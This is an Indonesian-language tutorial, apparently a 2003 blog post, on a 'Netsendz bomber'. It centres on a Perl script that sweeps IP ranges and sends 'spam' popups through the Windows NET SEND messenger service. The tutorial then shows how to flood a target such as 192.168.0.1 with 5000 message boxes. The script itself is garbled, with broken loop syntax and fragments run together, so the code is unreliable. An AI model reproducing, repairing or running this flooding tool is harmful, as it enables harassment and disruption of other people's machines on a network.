Netsendz bomber -ECHO-

#!/usr/bin/perl -w
#!C:\Perl\bin\perl.exe -w
############################################

############################################
# #
# By using this code you agree to indemnify rootsecure.net #
# from any liability that might arise from its use. #
# #
# Also you agree not to use it for the purpose of advertising #
# any product, brand or service. #
# #
############################################

$message_text = "spam";
$first_x2_ip = "127.0";


for ($countb=0; $countb<257; counta="1;" send_message_to = "$first_x2_ip.$countb.$counta" send_message_to =" $message_text">
Start>Run>command>
Microsoft(R) Windows DOS
(C) Copyright Microsoft Corp 1990-2001

C:\DOCUME~1\Y3DIPS>

Cat: aku coba ini pada microsoft windows XP
ketik net send

C:\DOCUME~1\Y3DIPS>net send
The syntax of this command is:

NET SEND
message

mari kita lakukan..
C:\NET SEND 127.0.0.1 hallo
(127.0.0.1, ip tujuan, karena aku lakukan dg standalone jadi aku pake
loopback address)

apabila berhasil akan tampak pada:
pc target (127.0.0.1): sebuah pop up message box berisi

-------------------------------------------------------------
Messenger service X
-------------------------------------------------------------
Message from Y3DIPSPC to 127.0.0.1 on 11/4/2003 7:05:55 PM
hallo ____
ok
----
-------------------------------------------------------------


pada pc pengirim
The message was successfully sent to 127.0.0.1.

ENough for ?NEt SEnd!

*Sekarang kita bahas Exploitsnya:
Apa yang di perlukan, sebuah compiler untuk mengeksekusi exploits tsb,
yang pasti adalah, kita butuh compiler untuk perl, kenapa? karena
program tersebut ditulis dengan bahasa pemrogaman perl , perl? << message_text = "spam" first_x2_ip = "192.168" message_text= "hallo_sayang" first_x2_ip="127.0" countb="0;" counta="1;" send_message_to = "$first_x2_ip.$countb.$counta" pemrograman =" terus" argv ="=" pesan =" $ARGV[0];" ip =" $ARGV[1];perl" jumlah=" $ARGV[2];" awal="0;" mengirimke = "$ip" mengirimke =" $pesan" pesan =" <" ip =" > & kirim

dan aku juga tambahkan contoh, jika anda gak tau harus ngapain?....
kalo ngetik perl netsnd.pl doangan..
bakal muncul
[Gunakan] .. perl netsnd.pl [tulis_pesan][host][jumlahx]
so kamu bisa pakai;
c:\perl netsnd.pl hallo_sayang 192.168.0.1 5000
selanjutnya yang terjadi seperti diatas,bedanya pada pc target muncul
5000 buah message box.. :)